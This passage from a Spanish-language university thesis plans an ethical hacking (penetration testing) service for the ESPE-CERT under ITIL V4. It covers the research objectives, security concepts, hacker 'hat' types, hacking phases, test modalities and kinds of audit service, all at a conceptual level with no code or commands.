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Resumen

A partir de la Convocatoria 2020 para proyectos de investigacion aplicada la Universidad
de las Fuerzas Armadas ESPE comenzo un proceso de implementacion de un CERT asi
como del EGSI que viene desarrollando la Unidad de Seguridad Integrada de la ESPE,
junto con estas implementaciones surgio la problematica de crear un equipo dedicado a
la realizacion de pruebas de penetracion es decir Hacking Etico que funcione bajo el
CERT utilizando ITIL V4, en donde se utilizé6 como casos de empleo las aplicaciones
criticas de la Universidad de las Fuerzas Armadas ESPE brindados por el EGSI de la
universidad, todo esto con el fin de implantar esta capacidad como servicio a otras
universidades o instituciones. El proyecto de tesis se basé en el hacking de sombrero
blanco que viene a ser el hacking ético, es decir, aquel hacking que se rige por leyes
judiciales y morales dentro de un contrato establecido entre la organizacion y el hacker,
cuya diferencia respecto al cracking se basa en la finalidad, ya que si bien es cierto que
en procedimiento son iguales, su finalidad es muy distinta, la finalidad de un hacker ético
es encontrar brechas en la seguridad de dentro del sistema o aplicativo para su posterior
correccion y mejora de la organizacion, el cracker por su parte, puede tener varios
objetivos, desde el dafio a la organizacion, fines de lucro, o incluso el de la mera prueba
de sus habilidades con cracker. El desarrollo practico de la tesis const6 de seis fases
para realizar un correcto servicio de hacking ético, los cuales son: Establecimiento del
anonimato, Recopilacion de Informacion, Escaneo, Explotacion, Mantenimiento del
Acceso y evaluacion del servicio en donde se realiza un informe de no conformidades

explicando los resultados de la praxis.

Palabras clave: CERT, servicio de Tl, Hacking ético, gestion de servicio ITIL
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Abstract:

Starting from the 2020 Call for Applied Research Projects, the Universidad de las
Fuerzas Armadas ESPE began the implementation process of a CERT as well as the
EGSI being developed by the ESPE's Integrated Security Unit. Along with these
implementations, the problem arose of creating a team dedicated to carrying out
penetration testing, that is, ethical hacking that operates under the CERT using ITIL V4.
Critical applications of the University of the Armed Forces ESPE provided by the
university's EGSI were used as use cases to implant this capability as a service to other
universities or institutions. The thesis project was based on white hat hacking, which is
ethical hacking that follows legal and moral rules within a contract initially established
between the organization and the ethical hacker. The difference between ethical hacking
and cracking is based on their purpose, as although their procedures are similar, their
purposes are very different. The purpose of an ethical hacker is to find security breaches
within the system or application for subsequent correction and improvement of the
organization. The cracker, on the other hand, can have various objectives in mind, from
harming the organization, for-profit purposes, or even just for testing their skills as a
cracker. The practical development of the thesis consisted of six phases to provide a
correct ethical hacking service, which are: Establishment of Anonymity, Information
Gathering, Scanning, Exploitation (i.e., establishing access), Access Maintenance (a
phase that was not reached due to the platform's security), and Service Evaluation where

a report of non-conformities is produced explaining the results of the practice.

Keywords: CERT, IT service, Ethical Hacking, ITIL service management



Capitulo I

Introduccion

Con el avance de la tecnologia y sobre todo con la creciente y agigantada
evolucién de los sistemas de informacioén, los habitos tecnoldgicos que regian a la
sociedad se vieron obligados a ser cambiados casi a la misma velocidad, y términos
como la seguridad ya no pueden tomarse tan a la ligera, debido a la masificacion de la
data. Como se sabe, tiempo atras la seguridad informética se enfocaba de una manera
global inicamente en el correcto funcionamiento del sistema operativo de los equipos
para evitar fallos, asi mismo establecian barreras contra algun posible virus a favor del

rendimiento.

El mencionado avance ha hecho que la seguridad no solo se enfoque en la
proteccion local del equipo, sino en todo acceso que pueda tener a través de lared y
sobre todo, hablando en el ambito corporativo, en la informacion que cualquier empresa
pueda proporcionar, haciendo principal énfasis en cualquier tipo de datos con alta
confidencialidad y cuya exposicion pueda suponer un quiebre dentro de la organizacion,
no cabe duda que la principal preocupacién en cuanto a seguridad respecta se viene
dando en un ambito empresarial y es que si bien es cierto que el usuario individual es
propenso a caer en técnicas de phishing o ingenieria social, no dejan de ser técnicas
sociales que nada tienen que ver con la seguridad o intrusién forzada de algun tercero al
sistema, sino tienen que ver mas con una mermada cultura informatica en los susodichos

(Méndez, 2018).

Una correcta estructuracion de la red corporativa, y la realizacion de constantes
pruebas de mecanismos y procedimientos de seguridad a fin de identificar debilidades y/o
vulnerabilidades son de suma importancia para evitar este tipo de intrusiones, ya que
suponen trabas para cualquier tipo de pirata informatico que pretenda acceder a la

informacion organizacional.
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Planteamiento del problema

El proceso de implementacion del Esquema Gubernamental de Seguridad de la
Informacion en la Universidad de las Fuerzas Armadas ESPE, que forma parte de la
construcciéon del Equipo Informatico de Respuesta a Emergencias (CERT) por sus siglas
en inglés, tiene previsto ofrecer la capacidad de determinar efectivamente las
vulnerabilidades y amenazas de aplicaciones criticas producto de la gestion emprendida
en la implementacion del EGSI de la Universidad, con el objetivo de aplicar salvaguardas
y metodologias de seguridad que permitan reducir el riesgo que existe sobre la
informacidn que se almacena en dichas aplicaciones, el presente proyecto de titulacién
tiene el objetivo de ejecutar los test de penetracion y analisis de vulnerabilidades dentro
del marco del Hacking Etico, estableciendo un proceso de estrategia, disefio, transicion,
operacion y mejora, el andlisis de estos casos permitiran, posteriormente, la implantacién

del servicio de Hacking Etico en el ESPE CERT.

Justificacion

A partir del resultado de la Convocatoria 2020 para proyectos de investigacion
aplicada, la Universidad de las fuerzas armadas ESPE ha empezado el proceso de
implementacion de un CERT(Computer Emergency Response Team) académico, asi
como la del Esquema Gubernamental de Seguridad de la Informacion que viene
desarrollando la Unidad de Seguridad Integrada de la ESPE; por ello, se necesita realizar
pruebas de penetracion (Hacking Etico) a aplicaciones identificadas como criticas de la
Universidad, cuyo objeto principal es determinar vulnerabilidades y establecer los planes
de remedicion para la aplicacion de salvaguardas, con el fin de proporcionar seguridad a
la informacion que manejan dichas aplicaciones e infraestructura, este servicio ya ha sido
previsto como parte del catalogo del ESPE-CERT, pero aun no se ha implantado, por
tanto, el proyecto cubre esa necesidad utilizando ITIL V4 para la creacion y puesta en

operacion del servicio; utilizando como casos de empleo las aplicaciones criticas
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determinadas en el EGSI, se ejecutan las fases de estrategia, disefio, transicién,
operacion y mejora del servicio.
Objetivos

Objetivo general

Implantar el servicio de Hacking Etico en el ESPE-CERT utilizando ITIL V4, como
casos de empleo las aplicaciones criticas de la Universidad de las Fuerzas Armadas
ESPE, después del andlisis e identificacion producto del EGSI de la Universidad de las
Fuerzas Armadas ESPE, con el fin de implantar esta capacidad como servicio a otras

universidades o instituciones.

Objetivos especificos
e Establecer el estado del Arte

o Establecer la Estrategia del Servicio en el portafolio de servicios del ESPE-CERT,
publicar el catdlogo de servicios actualizado en concordancia con el Plan

Operativo Anual de la ESPE

o Realizar el Disefio del Servicio en concordancia con la comunidad establecida y

las capacidades actuales del ESPE-CERT.

e Transicién del servicio segun ITIL V4, que consiste en implantar el nuevo servicio,
de acuerdo con la comunidad objetivo, en los servidores del ESPE-CERT del

DCCO.

e Operacion del servicio, en conformidad con el compromiso de disponibilidad del
servicio y los niveles de servicio establecidos con la Direccién del DCCO, se dara
inicio y continuidad del nuevo servicio, incorporandolo al catalogo de servicios del

CERT-ESPE del DCCO.

e Mejora del Servicio y resolucion de las no conformidades.
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Alcance

Implementar el servicio del Hacking Etico en el ESPE-CERT con la finalidad de
proporcionar este servicio a la Universidad de las Fuerzas Armadas ESPE, aplicaciones
externas o incluso a otras Universidades o instituciones; comprendiendo la necesidad de
establecer una estrategia de servicio que permita su escalabilidad y mejora a través del
tiempo, entendiendo que, el concepto de la Seguridad Informatica es criticamente mutable y
se encuentra en constante actualizacién y cambio, y con ello nuevos modus operandi y

métodos para el aprovechamiento y explotacion de vulnerabilidades.

De esta forma al establecer la estrategia y disefio del servicio de Hacking Etico en
concordancia con las capacidades actuales del ESPE-CERT, permitira establecer el
portafolio de servicios del ESPE-CERT de manera eficiente para la publicacion de un
catalogo de servicios actualizado, que permita cumplir con las necesidades y expectativas
en materia de gestion de la demanda del Servicio; consecuentemente, el disefio del servicio
debe cumplir con las necesidades de gestidn de la seguridad, administracién de suministros
y administracion de disponibilidad de acuerdo a la comunidad establecida, de igual forma, se
deben establecer los procesos que permitan ejecutar una gestién de la capacidad y la

continuidad del servicio de ethical hacking

Adicionalmente, la implementacién del servicio de Hacking Etico en el ESPE-CERT se
realiza siguiendo el marco de trabajo definido en ITIL V4, por lo cual es necesario establecer
un plan de transicion que detallard las tareas a realizar, considerando los riegos y recursos
disponibles para establecer un proceso sistematico controlado, dicho plan de transicion,
debe extender sus acciones al plan de operacién de servicio, que debe cumplir con un nivel
de disponibilidad y nivel de servicio establecidos con la direccion del Departamento de
Ciencias de la Computacion DCCO, bajo un nivel aceptable para el usuario final, este plan
de operacién de servicio contemplara el plan de investigacion de campo y los instrumentos
de investigacion de campo, que sean pertinentes de acuerdo a los indicadores de

cumplimiento dentro de requisitos técnicos criticos para la certificacion legal.
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La implementacion de los servicios supone la provision de recursos fundamentales

dados por el DCCO, asi como su directa operacion en el ESPE-CERT. Al tratarse de un

proyecto que implica un contacto directo con informacion sensible y por el avance

tecnoldgico, es recomendable una correcta y constante preparacion de los encargados de

las pruebas de penetracion (hacking ético), por lo que se sugiere una inversion econémica

por parte de la organizacién para su capacitacion. Sera necesaria tanto la aprobacién del

ESPE-CERT, como de la directiva del DCCO y de las unidades implicadas como UTIC y

USIN para que el proyecto pueda arrancar. Al finalizar el proyecto el equipo de hacking ético

se vera en capacidad de realizar pruebas a cualquier tipo de infraestructura tecnoldgica,

servicios y aplicaciones de la institucion.
Tabla 1

Objetivos y preguntas

Objetivo especifico

Pregunta de investigacion

Establecer el estado del Arte

Establecer la Estrategia del Servicio
en el portafolio de servicios del
ESPE-CERT, publicar el catalogo de
servicios actualizado en
concordancia con el Plan Operativo

Anual de la ESPE

Realizar el Disefio del Servicio en

concordancia con la comunidad

¢De qué manera o metodologia se
implementara el servicio de Hacking

ético en el ESPE-CERT?

¢ Como se va a realizar la
reestructuracion de servicios del ESPE-
CERT?

¢, ComMo se va a realizar la gestion de la

demanda del Servicio?

¢, Con qué metodologias se va a realizar

la gestion de seguridad, la



Objetivo especifico

Pregunta de investigacion

establecida y las capacidades

actuales del ESPE-CERT.

Transicion del servicio segln ITIL
V4, que consiste en implantar el
nuevo servicio, de acuerdo con la
comunidad objetivo, en los

servidores del ESPE-CERT del DCCO

Operacién del servicio, en
conformidad con el compromiso de
disponibilidad del servicio y los
niveles de servicio establecidos con
la Direccion del DCCO, se dara inicio
y continuidad del nuevo servicio,
incorporandolo al catalogo de

servicios del CERT-ESPE del DCCO.

Mejora del Servicio y resolucién de

administracién de suministros y
administracion de disponibilidad?

¢ Como se va a realizar la gestion de la
capacidad y la gestion de la continuidad

del servicio de TI1?

¢ Como se estructurara el plan de
transicion considerando un proceso
controlado a base de riegos y recursos
disponibles?

¢, Qué resultados se obtendran de la
ejecucion del plan de Transicion,
considerando las pruebas finales del
sistema y el acta de conformidad?

¢, Qué indicadores de cumplimiento de
requisitos técnicos legales de
certificacion se deben incluir en el plan
de investigacién de campo?

¢, Qué instrumentos de investigacion se
necesitan incluir o disefiar para ejecutar
el plan de investigacion de campo?

¢ Como se elaborara el informe de
operacion del servicio, considerando las
no conformidades y las
recomendaciones de mejora?

¢, Qué elementos criticos se deben
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Objetivo especifico Pregunta de investigacion

las no conformidades. incluir en el plan de Mejora?
¢,Con qué procedimiento se deben
ejecutar las acciones de mejora?
¢, COmo se va a evaluar el cumplimiento
de las acciones de mejora, bajo el
objetivo de alcanzar la certificacion final

del servicio?

Hipotesis
La implementacién del servicio de Hacking Etico en el ESPE_CERT utilizando ITIL V4,

permitira determinar vulnerabilidades y aplicar salvaguardas, proporcionando seguridad a la
informacion que se maneje, asi mismo el servicio de hacking ético cumplira con las etapas
de operacién, evaluacion y mejora, permitiendo la capacidad de extender el servicio a otras
universidades.
Metodologia

Para desarrollar el proyecto, la metodologia predilecta es Desing Science Research
la cual tiene foco en la creacion de productos cuya finalidad es resolver problemas en el
marco de las Tl (Tuunanen, Peffers, Rothenberger, & Chatterjee, 2007).
Metodologia Desigh Science Research

Segun (Cataldo, 2015) se deben tomar en cuenta siete pasos para la realizacion de
esta metodologia, los cuales son:

e Relevancia del problema

¢ Disefio como artefacto

¢ Rigor de la Investigacion

e Disefio como un proceso de busqueda

e FEvaluacion del disefio
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e Contribuciones a la investigacion

e Comunicacion de la Investigacion

El objetivo del primer y segundo paso es brindar una solucion a la problematica
planteada, la cual se ha de implementar y deber& ser de importancia para las Tl, asi como
ser de gran ayuda para la comunidad, basandose en una revision literaria sobre la
implementacién de un servicio de hacking ético. En el tercer y cuarto paso se debe analizar
todo método para poder operar y aplicar dicha implementacién, se deberan respaldar en
teorias y conocimientos haciendo uso de cualquier medio a disposicion.

En el quinto paso refiere a la evaluacién en donde se debera considerar la eficacia,
funcionalidad, rendimiento, solventando asi, todos los requerimientos de la organizaciéon y
calidad del servicio que se va a brindar. Por ultimo, en el sexto y séptimo paso se
realizaran los estudios, evaluaciones y testeos experimentales a fin de analizar su impacto

y la contribucién, para asi dar solucién a las recomendaciones dadas.
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Capitulo II:

Fundamentacion Teéricay Estado del Arte
Fundamentacion Tedrica
En esta seccidn de la investigacién vamos a representar los principales conceptos
de los cuales es necesario y critico tener conocimiento para comprender el amplio campo

sobre el que actla el Hacking Etico, asi mismo el conocimiento acerca de temas como

seguridad de la informacion o ITIL y sus variantes son de suma importancia para el correcto

desarrollo de la investigacion.

Seguridad Informética

Para hablar de seguridad informatica es de suma importancia conocer las bases que
construyen a esta ciencia, siendo asi, el nucleo de esta disciplina es el concepto de
seguridad, el cual se establece en un estado de bienestar, implicando una ausencia de
riesgo dado por la confianza que se deposita en alguien o algo, pudiendo asi conceptualizar
a la seguridad desde el tema disciplinario como una ciencia multidisciplinaria que evalta y
gestiona los riesgos a los que se expone un individuo, entorno, bien o servicio.

La seguridad se encuentra en una constante busqueda de la gestién de riesgos,
para de esta forma evitarlo, prevenirlo o tomar accién en caso de que se suscite dicho
riesgo. Se definié que la seguridad podria ser catalogada como la ausencia de riesgo, la
definicion de este término involucra cuatro acciones que siempre estan inmersas en
cualquier asunto de seguridad como son (Romero, y otros, 2018):

e Prevencion del riesgo
e Transferir el riesgo

e Mitigar el riesgo

e Aceptar el riesgo

Dichas acciones se deben considerar de manera obligatoria en caso de que el
objetivo sea fortalecer la seguridad de algun activo en especifico independientemente al

area.



Ahora refiriéndose al area de informética solo se puede hablar de una verdadera
seguridad si se satisface los requerimientos que la gestion de cualquier organizacion, los

cuales son (Salazar, 2019):

e Laintegridad: Implica que la informacién Unicamente sea cambiada por la persona
con autorizacion para de esta manera garantizar la exactitud de esta, y a su vez
asegurando su no alteracion, pérdida o destruccion, ya sea de forma accidental o

intencionada.

e Ladisponibilidad: Supone la posibilidad de acceso a la informacion siempre que
se requiera (Unicamente para el personal autorizado), sin fallas que imposibiliten

SuU acceso.

e La confidencialidad: Refiere a que la informacion sera accedida Unica y
exclusivamente por el personal autorizado, asi la informacion no termina en
terceros que puedan utilizar dicha indagacién en contra de la empresa.

Figura 1

Triada de la Seguridad

TRIADA DE LA SEGURIDAD

CONFIDENCIALIDAD

SEGURIDAD DE LA
INFORMACION

INTEGRIDAD DISPONIBILIDAD

En la triada de la seguridad es importante mencionar la existencia del “no repudio’

gue ofrece proteccion de un usuario a otro que niegue posteriormente que realizo cierta
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comunicacion, ya sea la emision o recepcion de un mensaje (Gomez, Castro, & Guillén,

2014).

Amenazas de Seguridad

Entendiéndose por amenaza a una condicion del entorno del sistema de
informacién, ya sea una persona (cracker), maquina, etc. que, aprovechara cualquier
oportunidad para propiciar una violacién a dicha seguridad.

Se puede caracterizar las amenazas empleando un diagrama de flujo (Figura 2) en
donde se muestra una fuente de informacion y un destinatario, asi como el flujo que lleva el
mensaje (Gomez, Castro, & Guillén, 2014).

Figura 2

Amenazas de la Seguridad

Flujo normal Destinatario
dela

Fuente de la
informacion /

i : Interrupcion

informacion

Intercepcion

O

Modificacion Fabricacion

Las cuatro categorias generales de amenazas o ataques (Figura 2) son los

siguientes:

e Interrupcion: Es un ataque contra la disponibilidad haciendo que un recurso del
sistema quede destruido o deje de estar disponible, ejemplo de esto puede ser la
destruccién un elemento de hardware como un disco duro, un corte en una linea

de comunicacion o incluso deshabilitar del sistema en general.



Intercepcidn: Supone un ataque contra la confidencialidad en cuestién, una
entidad no autorizada, generalmente un cracker, programa o un ordenador,
consigue acceso a un recurso, un claro ejemplo es cuando un tercero se
encuentra a la escucha de una linea para registrar los datos que circulen por la

red y realizar un respaldo de estos (intercepcion de datos).

Madificacién: Es un ataque contra la integridad en donde una entidad no
autorizada no solo consigue acceder a un recurso, sino que lo manipula para que

llegue al destinatario con informacion adulterada.

Fabricacién: Es un ataque contra la autenticidad donde una entidad no autorizada

inserta objetos falsificados al sistema, sin el envio previo de un mensaje por parte

de un emisor perteneciente a la organizacion.

Metodologia para mejorar la seguridad de la informacion

Tomando la triada de seguridad como punto de partida, la finalidad protegerla

siempre en la medida de lo posible para lo cual se debera llevar una metodologia
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profesional, la cual llevada de una apropiada manera nos permitira mejorar la seguridad de

cualquier organizacion, minimizando por consiguiente la taza de éxito de cualquier ataque

ejecutado dentro de la misma, lo que llevara a mitigar las pérdidas econémicas. La

metodologia consiste en 5 pasos (Salazar, 2019):

Andlisis de Riesgo

Esta fase se basa en el diagnéstico, para lo cual se ira en busca de tres objetivos,

primero las vulnerabilidades, que son fallas que permitirian que la seguridad de la

informacion se comprometa, ejemplo de ello podrian ser las no actualizaciones a tiempo

provocando no poseer los ultimos parches de seguridad haciendo propicio al sistema a sufrir

algun error. Lo segundo seran las amenazas, siendo la circunstancia que permite la

materializacion del escenario en el que se cause una falla en la seguridad de la informacion,

un ejemplo claro de ello seria alguna empresa competidora que esté en constante
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basqueda del sabotaje de la organizacion, por ultimo, el riesgo, que es la probabilidad que

una amenaza suceda desencadenando en un ataque al sistema.

Definir nivel aceptable de riesgo

A pesar de que algunos sistemas sean sumamente seguros no son 100%
impenetrables por lo que ningun nivel de riesgo es cero, todo dependera de la motivacion,
tiempo y recursos de el o los atacantes, por ello se debera definir un nivel aceptable de
riesgo, dicho nivel sera aquel que si se llega a dar la circunstancia no cause pérdidas
excesivas a la organizacion, por otro lado se debera tomar en cuenta la probabilidad de
materializacion de la amenaza, ya que si supone un porcentaje sumamente inferior y la
empresa no se encuentra en posibilidad de cubrir la vulnerabilidad que reduzca el riesgo a 0
podria considerar el no tomar accion, sin embargo, todo dependera del contexto en el que
se encuentre la empresa.

Disefiar formas de medicion

Al existir muchas formas de comprometer la seguridad, no existe la posibilidad de
medirlas bajo los mismos estandares por lo que es sumamente importante pensar en cual
es el nivel de seguridad actual y su forma de medicién, para obtener o no un margen de

mejora.

Implementar contramedidas

Tomando como punto de partida del nivel aceptable de riesgo, se deberan
implementar contramedidas tales sean firewalls, antivirus, capacitaciones, entre otros, para
reducir el nivel de riesgo al que la empresa considere aceptable.

Evaluar constantemente

La seguridad debe ser considerada como una medicina para los sistemas por lo que
se sus diagnésticos deben realizarse de manera periédica para asegurar que el nivel de

riesgo se encuentre siempre en aceptable.
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ITIL

ITIL, conocido por sus siglas Information Technology Infrastructure Library que
traducido al espafiol es Biblioteca de Infraestructura de Tecnologias de la Informacion es el
marco de trabajo que esta mayormente aceptado a nivel mundial para administrar cualquier
servicio de Tl (Tecnologias de la Informacién) siendo un conjunto de buenas practicas que
tienen por objetivo mejorar la prestacion de un servicio de TI. ITIL permite a las empresas
gue los implementan ofrecer y gestionar servicios Tl de forma eficiente, rentable y de
calidad (ITIL® Foundation, 2019).
Practicas ITIL

Lo principal con la aplicacién de practicas es realizar una colaboracién con las
organizaciones para que éstas propicien un buen servicio de TI, optimizandolo y asi
cumpliendo con los convenios establecidos. Se encuentra dividido en 3 partes
fundamentales, las cuales son:

e Practicas de Gestion General. Su enfoque se encuentra en la aplicacion en
gestion de servicios.

e Practicas de Gestidn de Servicios. Se encuentra aplicada en empresas
industriales en las cuales se trabaja con gestion de servicios.

e Practicas de Gestién Técnica. Son aplicadas a fin de brindar soluciones de
ambito tecnolégico enmarcadas en servicios de TI.
Sistema de valor del servicio ITIL

El sistema de valor del servicio de ITIL incluye todo lo necesario para crear valor en
forma de servicios. Incentiva a cualquier proveedor de servicios a pensar en la posibilidad
de trabajar juntos todos los diferentes componentes necesarios para brindar servicios a fin
de ayudar a cocrear valor con los consumidores de dichos servicios.
Filosofias de Hacking

Comunmente se habla de tres tipos de sombrero al mencionar filosofias del hacking

(Salazar, 2019).
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Sombrero Blanco

Este tipo de hacker es el que comUunmente se conoceria como el bueno, el que, a
pesar de tener las capacidades destructivas como cualquier otro, se dedica a proteger la
informacion de sus clientes, realizando pruebas de penetracion y andlisis de
vulnerabilidades Unicamente previo a un contrato o autorizacion firmada, es conocido
también como “hacker ético” debido a que cualquier actividad que realiza se encuentra

dentro del marco de la ley, ademas de un estandar de ética.

Sombrero Gris
Se encuentra en constante debate, ya que no mantiene estandares de ética ni
legales tal como lo haria un hacker de sombrero blanco, no obstante, su objetivo tampoco

es el cometimiento de actos delictivos ya sea por robo de dinero o Unicamente causar dafio.

Algunos de los hackers con mayor habilidad operan bajo este “sombrero” inicamente para
probar sus habilidades o evidenciar fallos en la seguridad de una empresa en especifico sin
previo contrato, para posteriormente ofrecer sus servicios de mejora.

Sombrero Negro

Es el cibercriminal, el que tiene como principal objetivo comprometer la seguridad de
la informacion de cualquier empresa para obtener dinero, poder, reputacién, etc.
Usualmente son personas con estudios avanzados, que utilizan su conocimiento y dinero
para mejorar sus herramientas y habilidades de forma constante.
Hacking Etico

Término que define la accién de realizar pruebas de intrusion de forma metédica y
controlada sobre un determinado sistema informatico por parte de un consultor en seguridad
informatica especifico, que actuara como cracker, con la finalidad de detectar las
vulnerabilidades del sistema que se pretende auditar.

Estas pruebas se realizan en ambientes supervisados y es importante que dichas
intrusiones no afecten a la disponibilidad del sistema informatico del cliente, la evaluacion y

auditoria se debe ejecutar de acuerdo a los lineamientos de una metodologia que permita
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establecer un orden correcto en las actividades a ejecutar, optimizando recursos y tiempo,

ademéas de permitir dilucidar el alcance de la operacion de auditoria de seguridad

informatica, incluyendo elementos como la modalidad de las pruebas, servicios adicionales,

cronograma y cotizacion.

Fases del hacking

Tanto el hacker ético como el cracker realizan un orden l6gico de pasos (Figura 3) al

momento de penetrar cualquier sistema, a estos pasos agrupados se los denomina fases

(Astudillo, 2016).

Habiendo un consenso generalizado entre las entidades y profesionales de

seguridad informética, las fases son 5 en el siguiente orden:

1.

2.

3.

4,

5.

Reconocimiento

Escaneo

Obtener acceso

Mantener acceso

Borrar huellas

Mencionadas fases se representan como un ciclo cominmente denominado ciclo del

hacking (Figura 3) enfatizando que el cracker posteriormente al borrado de huellas puede

pasar desapercibido, no obstante, el auditor de seguridad informatica al ejecutar un servicio

de hacking ético varia su comportamiento de ejecucion de las fases de la siguiente manera:

1.

2.

3.

4.

5.

Figura 3

Reconocimiento

Escaneo

Obtener acceso

Escribir Informe

Presentar Informe

Fases del Hacking
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FASES DE UN HACKING ETICO CICLO DEL HACKING (Cracker)

1. RECONOCIMIENTOY

5. BORRAR

HUELLAS 2. ESCANEO |

4. MANTENER | | 3.OBTENER
ACCESO / | ACCESO |

Fuente: EC-Council Fuente: EC-Council

Asi el hacker ético difiere a partir del paso 4 del ciclo del hacking a fin de reportar

sus hallazgos y realizar recomendaciones de remediacion al cliente.
Tipos de Hacking

Hacking Etico externo

Tipo de pruebas de intrusién para auditoria de la seguridad informética que se
realiza desde el internet publico hacia la infraestructura informética del cliente que tiene
conexién con la red publica, en este tipo de hacking ético la organizacion esta expone sus
servicios en internet de forma publica.

Hacking Etico Interno

Tipo de pruebas de intrusion para auditoria de la seguridad informatica que se
realizan en la red interna de la organizacion cliente, en este tipo el auditor realiza las
pruebas desde el punto de vista de un empleado o cualquier asociado con acceso a la red
corporativa de la organizacion, este tipo de Hacking Etico es determinante al considerar que
la mayoria de ataques exitosos se concretan gracias a atacantes internos, siendo esta una
realidad que comunmente se ignora en seguridad informatica, y se concentra recursos y

esfuerzo en proteger solo el perimetro de acceso a la red interna corporativa.
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Modalidades del Hacking

Black Box Hacking

Modalidad de Hacking ético estrechamente asociado a las pruebas de intrusion
externas en la cual el cliente proporciona Unicamente el nombre de la empresa, con el
propédsito de que el consultor desconoce la infraestructura corporativa. Se considera que
esta modalidad representa con mayor precision la realidad de un ataque, sin embargo, Es
necesario invertir una mayor cantidad de tiempo y recursos, por lo cual representa el tipo de
auditoria de seguridad mas costoso, en esta modalidad es necesario realizar un analisis

profundo de la relacion entre el costo, el tiempo y el beneficio.

Gray Box Hacking

Modalidad que se usa para referirse a pruebas de tanto internas como externas, en
esta modalidad de hacking ético el cliente proporciona informacién limitada sobre los
equipos publicos que se busca auditar, es decir, el cliente proporciona un listado de datos
como la direccion IP, las caracteristicas de los equipos y sus funciones.

Cuando la modalidad de Gray Box Hacking es interna, el auditor recibe las
credenciales de acceso de un empleado comun y datos de configuracién de la red local, sin
embargo, no se revela la estructura de subredes empresariales, y el auditor solo tiene
acceso a un punto de la red, desde el cual deberéa analizar el entorno, de ser posible,

escalar privilegios y recopilar las vulnerabilidades que existan en la red.

White Box Hacking

Esta modalidad también se conoce bajo el nombre de hacking transparente, y esta
especializado en pruebas internas, el auditor recibe la toda la informacién de la red de la
organizacion y los equipos que la conforman, es decir, el auditor de seguridad recibe la
informacion de un Gray Box Hacking y adicionalmente un listado detallado de los equipos
gue componen la red, servicios principales activos en la red, distribucion de direcciones IP y
subredes, etc. Por esta razon, la modalidad de White Box Hacking es la que permite

optimizar tiempos y recursos.
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Servicios de hacking

Ingenieria Social

Refiere a la obtencién de informacién utilizando la manipulacion de los usuarios
como fuente, el hacker se hace con informacion confidenciales sabiendo de antemano que
el eslabén mas débil en la cadena de seguridad de la informacién son las personas
(Astudillo, 2016).

Tomando en cuenta esto, puede resultar de suma facilidad la obtencién de
informacion incluso de sistemas en los que se haya tomado las precauciones del caso para
proteger el perimetro de su red. Los ejemplos mas comunes son: archivos maliciosos
adjuntos en correos electrénicos falsos, contacto al personal del cliente pretendiendo ser un
técnico del ISP, instalacion de keyloggers durante una visita a la empresa fingiendo ser un
cliente, entre otros.

Existen comunmente 4 principales fallas humanas que permiten un ataque de
ingenieria social (Salazar, 2019):

1. Todos quieren ayudar

El humano como ser social, tiene la naturaleza de ayudar al que lo necesita, por
lo que el ingeniero social aprovechara esa bondad y la usara en su contra.

2. El primer movimiento siempre es de confianza

La primera interaccién de una persona a pesar de que vivimos en un mundo
cada vez mas peligroso usualmente es asumir que el individuo con el que se
interactua no pretende hacer dano, por lo que esa “guardia baja” supone una
oportunidad para el ingeniero social.

3. El poco gusto para decir “No”

El ser humano tiende a sentir algo de culpa o negatividad al negarse a realizar
algo, usualmente dado por la constante blusqueda de aprobacion de otras
personas, esto supone una vulnerabilidad que el ingeniero social no dudara en
atacar.

4. El gusto de ser alabado
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Los individuos poseen un ego que gusta de ser alimentado constantemente, este
comportamiento hace que se baje la guardia con mayor facilidad, esto es algo
gue los ingenieros sociales conocen bien y lo emplearan si encuentran una

oportunidad de hacerlo.

Wardialing

En el inicio del internet, su acceso era dado principalmente a través de moédems, asi
mismo las empresas comunmente tenian un pool o grupo de estos dispositivos conectados
a una central telefénica (PBX) para dar respuesta a las quien requiera acceso a la red local
de la empresa. Todo era dado a través de un servidor de acceso remoto (RAS), el cual
utilizaba un sistema de autenticacion (hombre de usuario y clave) ademas de protocolos
como SLIP o PPP, permitian que los usuarios autorizados se conectaran como si fuera una
red local, teniendo acceso a los recursos compartidos de la empresa (Astudillo, 2016).

La seguridad en aquella época, sin embargo, no era considerada motivo de
meditacion para los administradores, por ello, muchos de esos médems no estaban ni
minimamente protegidos, lo que derivé en la gran utilidad de los primeros programas de
wardialing. La finalidad de dicho software era marcar numeros de teléfono de manera
consecutiva, en base al valor inicial proporcionado por el usuario, registrando aquellos en
los cuales respondia existia respuesta de un médem en lugar de una persona; para asi
llamar manualmente a los niumeros identificados y ejecutar comandos AT para acceder a
dicho médem, propiciando ataques de fuerza bruta para vencer las claves puestas por el
administrador de sistemas.

Actualmente a pesar de que el modo de conectase a Internet ha sufrido cambios, es
un hecho que muchos administradores utilizan aiin conexiones via médem en el caso de
gue la red falle, en cuyo caso, no se deberia descartar como un punto vulnerable de ingreso

a la red del cliente.
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Wardriving

Deriva de su antecesor el wardialing, pero enfocado en redes inalambricas,
entablando una guerra inalambrica desde las inmediaciones de la organizacion
cliente/victima, usualmente con una portatil y una antena amplificadora de sefial (Astudillo,
2016).

Su objetivo es detectar la presencia de redes inaldmbricas pertenecientes al cliente,

identificando vulnerabilidades que permitan el acceso al cracker.
Equipo robado
La finalidad de este tépico es comprobar si la empresa tomé medidas para

precautelar su informacioén, esta practica es sumamente delicada por lo que es

recomendable para el cliente realizar un respaldo previo a su ejecucién (Astudillo, 2016).

Auditoria de seguridad fisica

A pesar de que la seguridad fisica se considera por muchos expertos como un tema
independiente de las auditorias de hacking ético, existen organizaciones que se
especializan en integrarla como parte del servicio (Astudillo, 2016).

Este tipo de auditoria entrafia dificultades y riesgos de los que se debe ser
conscientes a fin de evitar situaciones que pongan en peligro a las personas implicadas,
pudiendo conllevar desde algo tan simple como realizar una inspeccion de personal del
cliente con el llenado de formularios, algo mas complicado como adentrarse en las
instalaciones y colocar un dispositivo espia fingiendo ser un cliente perdido, hasta algo
incluso mas delicado como intentar burlar guardias armados e ingresar por otra entrada a

las instalaciones.

Tipos de ataque

No todos los ataques son de la misma naturaleza, por ello es importante clasificarlos
de manera en que se puedan identificar de una mejor manera.

Desde un punto de vista técnico se podran clasificar en ataques al sistema

operativo, aplicaciones, configuraciones y a protocolos (Benchimol, 2011).
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Ataques al sistema operativo

Constituyen un clasico de la seguridad, haciendo que la busqueda de cualquier falla
se realice al propio sistema base de todo el resto del software con lo que se podra explorar
y tomar control del sistema en caso de que sea vulnerable.

De esta manera habra dos lineas que se considera principales, los sistemas del tipo
Windows y los sistemas del tipo Linux que derivan de UNIX. En el caso de los primeros,
